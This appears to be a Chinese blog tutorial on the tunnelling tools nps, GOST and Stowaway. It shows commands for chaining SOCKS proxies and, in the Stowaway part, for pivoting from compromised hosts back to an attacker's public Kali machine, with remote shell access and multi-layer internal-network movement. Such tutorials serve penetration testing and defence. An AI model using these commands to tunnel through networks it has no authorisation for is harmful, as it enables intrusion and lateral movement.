本片文章主要记录常见隧道代理工具的使用.
nps
项目地址:https://github.com/ehang-io/nps
使用手册:https://ehang-io.github.io/nps/
服务端
选择对应操作系统版本的Server进行下载,下载后先注册服务:
nps install
nps.exe install
服务端启动依赖配置文件,Web管理页面入口, Web管理页面登录账号以及密码 都是可以通过配置文件进行修改的.
强烈建议大家在运行之前修改部分默认配置,如 后台端口, 后台登录账号以及密码等.
安装后 Linux
下的 nps
的配置在 /etc/nps/conf/nps.conf
.
部分配置选项如图所示:
启动服务端点
nps start
暂停服务端点
nps stop
客户端
访问Web管理页面,登录账号
先创建一个客户端
Basic认证用户名和Basic认证密码用于 socks5, http,web连接认证
验证密钥用于nps 与 npc 之间的连接认证
创建隧道
以创建HTTP隧道为例:
使用HTTP隧道来访问内网的Web服务,操作如下:
- 新建HTTP隧道, 客户端ID 为之前创建客户端是生成的ID.
服务端端口是指服务端流量交互的端口.
- 代理配置
配好以后,我们需要对流量代理工具进行配置.由于这里我们设置的HTTP隧道,因此这里我就直接通过配置浏览器代理插件.此处我推荐使用火狐浏览器, 对应插件为 FoxyProxy. Chrome的话可以使用 switchyomega.
代理类型选择 HTTP
端口对应为上一步创建的 服务端端口
用户名和密码为创建客户端时输入的 Basic认证用户名 和 Basic认证用密钥.如果在创建客户端时没有填写相关内容,则认证用户名和密码可以为空.
随后下载npc到本地, 输入命令./npc -server=xxxx -vkey=xxx -type=tcp
:
此命令可以直接点击客户端ID前面的 + 号获取.
随后直接输入访问的内网地址即可.
对于终端用户,可以通过以下命令配置HTTP代理:
export http_proxy=http://USERNAME:PASSWORD@SERVICE:PORT/
如果没有密码的话, 直接
export http_proxy=http://SERVICE:PORT/
其他代理使用类似,这里就不再赘述.
其他:
多层代理搭建
方法一:A/B/C都使用客户端连接服务器,不管在第几层,只要有网络且确保客户端机器能够出网,都可以 VPS->A,VPS->B,VPS->C。
方法二:只在A使用客户端连接服务器VPS->A,然后在A设置端口转发B,A->B
总结
整体而言, nps 图形化界面极大简化了入手门槛.在只有一层内网的时候,使用起来特别方便.
GOST
项目地址:https://github.com/ginuerzh/gost
简单使用:
开启 sock5
服务,
./gost -L socks5://:1088
开启带认证的 socks5
服务:
./gost -L socks5://USERNAME:PASSWORD@:PORT
配置上层代理:
./gost -L socks5://:1080 -F socks5://admin:admin@192.168.0.2:1080
多层代理搭建
场景:目前我们所在位置为 192.168.0.4
, 我们需要通过走 192.168.0.3
再到 192.168.0.2
才能出网.
- 在
192.168.0.2
上执行
./gost -L socks5://admin:admin@:1080
表示在本地 1080
开启了带有认证的socks5
服务, 账号和密码都为 admin
.
- 在
192.168.0.3
上执行
./gost -L socks5://:1080 -F socks5://admin:admin@192.168.0.2:1080
表示在本地1080
开启未带认证的socks5
服务, 并将所有经过 socks5
服务的流量发送至 上级代理 192.168.0.2
的socks5
服务.
- 在
192.168.0.4
上执行
set ALL_PROXY=socks5://192.168.0.3:1080
表示本机所有的流量发送至 192.168.0.3:1080
总结
gost
更适用于将流量代理出去,适合搭建自己的代理节点.用于内网穿透的话效果不是很好.
Stowaway
项目地址:https://github.com/ph4ntonn/Stowaway
简单使用
一台公网服务器,运行admin主节点:
./linux_x64_admin -l 8856 -s 123456
该命令表示监听本地的 8856 端口,并指定加密密钥为123456
使用 agent 加入 admin
使用一台能出网的机器,运行子节点
./linux_x64_agent -c ADMIN_NODE_IP:8856 -s 123456
该命令表示加入 主节点 . -s 同样指定加密密码, 这里的密钥需要和 主节点的密钥相同, 否则无法建立连接
主节点下主要有以下命令:
detail: 显示节点的相关信息
topo: 节点与节点之间的拓扑
use: 操纵节点.
可以看到子节点存在以下相关命令:
常用命令:
shell: 获取节点的shell (这条命令很方便)
listen: 开启监听, 等待其他节点加入.(这条命令在多层网络拓扑中使用很方便)
socks: 在主节点的 port 端口开启一个代理, 指向本节点
connect: 主动连接其他节点.(其他节点使用 listen 开启了监听)
forward 和 backward 就是端口转发;
forward 表示将 主节点的某个端口映射到当前节点的某个端口
backward 表示将 当前节点的某个端口映射到主节点的某个端口
举例:
开启监听
listen
此时我们用另一台机器去连接
./linux_x64_agent -c NODE_IP:8857 -s 123456
这里 -s
指定的密钥需要和 node 0
连接 admin
节点的密钥相同.
返回之后我们使用 topo
命令查看下 节点拓扑.可以发现 node0 存在一个子节点 node1
将node1 节点的 8153端口服务映射到 admin 节点的 7779
node1 节点的机器执行
可以看到成功建立连接
同样也可以使用cs使用反弹node1本地的某个端口,再用 backward 端口转发, 实现内网上线的一个操作. 这里就不再演示.
socks 8879 admin admin123
在admin节点的8879 开启一个socks代理, 使通过 8879的所有流量都代理到 node1 内
在随便一台机器上连接socks代理
export ALL_PROXY=socks://admin:admin123@ADMIN_NODE_IP:8879
然后使用 使用 curl localhost:8889
即可访问到网页.
多层代理搭建
多层代理搭建主要使用 node的监听与连接实现.
简单画了一个网络拓扑.其中 kali是一台拥有公网IP的攻击机, A是一台拥有公网IP的web服务器,并且其自身存在内网IP 192.168.0.2/24
.
C 是一台位于 192.168.1.0/24
网段的机器, 而B既位于 192.168.0.1/24
又位于 192.168.1.1
.
代理搭建:
- 在
107.xxx
的公网KALI上启动stowaway
admin主节点
:
./linux_x64_admin -l 8856 -s 123456
-
在拿下A机器后,先使用client 连接主节点, 再开启sock5将公网流量带入
192.168.0.1/24
网段, 拿下主机B.使用client 连接主节点
./linux_x64_agent -c 107.xxx.xxx.xxx:8856 -s 123456
开启sock
(admin) >>use 0 (node 0) >>socks 8879 admin admin123
再KALI上配置
sock5代理
export ALL_PROXY=socks5://admin:admin@:8879
-
拿下B后, 现在使B和C连接的办法又两个. 1) A开启监听, B主动连接; 2) B开启监听, A主动连接.
这里我以1) 为例:
(node 0) >>listen 输入端口号: 8887
此时将client上传至 B,执行以下命令连接 A
./linux_x64_agent -c 192.168.0.2:8887 -s 123456
开启代理:
(admin) >> use 1 (node 1) >> socks 8880 adminb adminb
-
使用KALI连接代理,拿下
192.168.1.3
exprot ALL_PROXY=socks5://adminb:adminb@:8880
总结
stowaway
拥有和nps
相同的内网穿透能力, 不过很显然, 在多层内网的条件下, stowaway
的表现能力更胜一筹,其通过很简单的操作就能够实现层于层之间的通信,.
frp
用于多层内网的搭建我就不写了,既麻烦又打老阔.